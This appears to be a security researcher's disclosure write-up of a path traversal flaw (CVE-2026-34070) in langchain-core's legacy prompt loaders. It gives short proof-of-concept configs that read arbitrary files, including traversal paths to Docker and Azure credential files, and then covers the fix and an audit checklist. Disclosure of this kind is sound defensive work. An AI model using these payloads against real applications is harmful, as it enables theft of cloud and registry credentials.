## https://sploitus.com/exploit?id=5F30794A-214B-5EB1-8374-6B1BCD80548B
# I Found a Path Traversal Bug in LangChain That Could Leak Your Cloud Credentials
*How a forgotten legacy API in one of AI's most popular frameworks quietly exposed millions of applications to arbitrary file reads.*
---
There's a certain feeling you get when a proof-of-concept works on the first try. Not excitement exactly โ more like a slow, uncomfortable realization that something real just happened. That's what it felt like when I ran my test config against `load_prompt_from_config()` and watched the contents of a file it had no business reading get printed right to my terminal.
This is the story of CVE-2026-34070: a path traversal vulnerability in `langchain-core`, now patched in version 1.2.22.
---
## Why LangChain?
If you've built anything with AI in the last couple of years, you've almost certainly touched LangChain. It's the connective tissue of the modern AI stack โ the framework that wires together language models, vector stores, tools, and prompt management into coherent applications. With over 130k stars on GitHub and adoption across everything from scrappy weekend projects to enterprise deployments, a vulnerability here doesn't stay contained.
I'd been doing a code review of the prompts subsystem when something caught my eye: a module called `langchain_core/prompts/loading.py`. It was loading files from disk based on values pulled directly out of deserialized config dictionaries. No validation. No path sanitization. Just `open(path)`.
I kept reading.
---
## The Vulnerable Code
Three internal functions were at the center of this:
- `_load_template()` โ reads files referenced by `template_path`, `suffix_path`, and `prefix_path`
- `_load_examples()` โ reads files referenced by the `examples` key when it's a string
- `_load_few_shot_prompt()` โ reads files referenced by `example_prompt_path`
The file-extension checks were there. `.txt` for templates. `.json`, `.yaml`, `.yml` for examples. But there was nothing stopping those paths from being absolute (`/etc/passwd`) or traversal-based (`../../../../home/user/.ssh/`). The extension filter gave a false sense of security โ it just meant an attacker had to pick the right extension, not that the attack was blocked.
These functions are all reachable through two public-facing APIs: `load_prompt()` and `load_prompt_from_config()`.
---
## Proof of Concept
The simplest version looked like this:
```python
from langchain_core.prompts.loading import load_prompt_from_config
config = {
"_type": "prompt",
"template_path": "/tmp/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template) # contents of /tmp/secret.txt, printed cleanly
```
That's it. Pass in an absolute path, get the file contents back wrapped in a `PromptTemplate`. No authentication. No special privileges. If you can influence the config dict, you can read files.
Directory traversal worked just as cleanly:
```python
config = {
"_type": "prompt",
"template_path": "../../etc/secret.txt",
"input_variables": [],
}
```
The JSON/YAML variant was arguably more dangerous because of the kinds of files it could reach:
```python
config = {
"_type": "few_shot",
"examples": "../../../../.docker/config.json",
"example_prompt": {
"_type": "prompt",
"input_variables": ["input", "output"],
"template": "{input}: {output}",
},
"prefix": "",
"suffix": "{query}",
"input_variables": ["query"],
}
prompt = load_prompt_from_config(config)
```
`.docker/config.json` contains your Docker Hub credentials. `~/.azure/accessTokens.json` has your Azure tokens. Kubernetes manifests, CI/CD configs, internal application settings โ anything with the right extension sitting anywhere on the filesystem was fair game.
---
## The Real-World Attack Surface
The CVSS score came in at **7.5 High**, with a vector of `AV:N/AC:L/PR:N/UI:N` โ network-accessible, low complexity, no privileges, no user interaction needed.
The score is constrained below 9+ because the file-extension check does limit which files can be read. But 7.5 still understates the real-world impact in certain deployment patterns.
Think about where this lands in production:
- **Low-code AI builders** that let users configure prompts through a UI โ if the backend passes user-controlled configs directly to `load_prompt_from_config()`, every user is a potential attacker.
- **API wrappers** that expose prompt loading endpoints, assuming the library handles sanitization.
- **Cloud-deployed apps** where environment secrets are mounted as files (a very common pattern on Kubernetes, AWS ECS, and GCP).
In those environments, the "constrained by file extension" limitation matters a lot less. An attacker can simply target files they know exist with the right extension. On a typical cloud instance: `requirements.txt`, `config.yaml`, `.env.yaml`, mounted secret files with `.json` extensions โ the list is long.
---
## Why This Existed in the First Place
The affected functions are described in the advisory as "undocumented legacy APIs." They predate the current `langchain_core.load` serialization system (`dumpd`/`dumps`/`load`/`loads`), which uses an allowlist-based model and doesn't perform filesystem reads.
The new APIs exist. They're better. But the old code was never cleaned up โ it just sat there, reachable, with no validation, waiting.
This is a pattern worth paying attention to. In fast-moving open-source projects, especially ones that grew as quickly as LangChain did, technical debt accumulates in the corners. Legacy code that was "never really intended for users" doesn't get the same scrutiny as the primary API surface. But it's still callable. It's still in the package. And if it reads files from disk, it's a potential vulnerability.
---
## The Fix
The patch landed in `langchain-core 1.2.22`. The fix adds path validation that rejects both absolute paths and `..` traversal sequences before any file is opened. An escape hatch โ `allow_dangerous_paths=True` โ is available for applications that genuinely need to read from trusted paths, with the explicit acknowledgment that the caller is opting into the risk.
The legacy APIs have also been formally deprecated with this release. They'll be removed entirely in 2.0.0. If you're using `load_prompt()` or `load_prompt_from_config()` anywhere, migrate to the `langchain_core.load` equivalents now rather than waiting for the breaking change.
**Update immediately:**
```bash
pip install --upgrade langchain-core
```
Verify you're on 1.2.22 or newer:
```bash
python -c "import langchain_core; print(langchain_core.__version__)"
```
---
## What to Check in Your Own Codebase
If you're building on LangChain, a quick audit is worth running:
1. **Search for `load_prompt` and `load_prompt_from_config`** in your codebase. If they appear, check what's being passed to them.
2. **Ask whether any config dicts flowing into these functions contain user-influenced values.** If the answer is yes, you were potentially vulnerable before updating.
3. **Review your deployment's file layout.** Understand what files with `.txt`, `.json`, or `.yaml` extensions exist on your instances and what they contain.
---
## Closing Thought
Security bugs in AI infrastructure are going to matter more, not less, as these systems handle more sensitive workloads. LangChain's team responded well โ the fix is clean, the deprecation path is clear, and the advisory documentation is thorough.
But it's a good reminder that the attack surface of an AI application isn't just the model. It's every library in the stack, every legacy function that never got cleaned up, every place where "the user probably won't pass untrusted input here" turned out to be an assumption rather than a guarantee.
Read the code. Especially the old parts.
---
*CVE-2026-34070 was assigned to this vulnerability. The full advisory is available at the [LangChain GitHub Security Advisory](https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54).*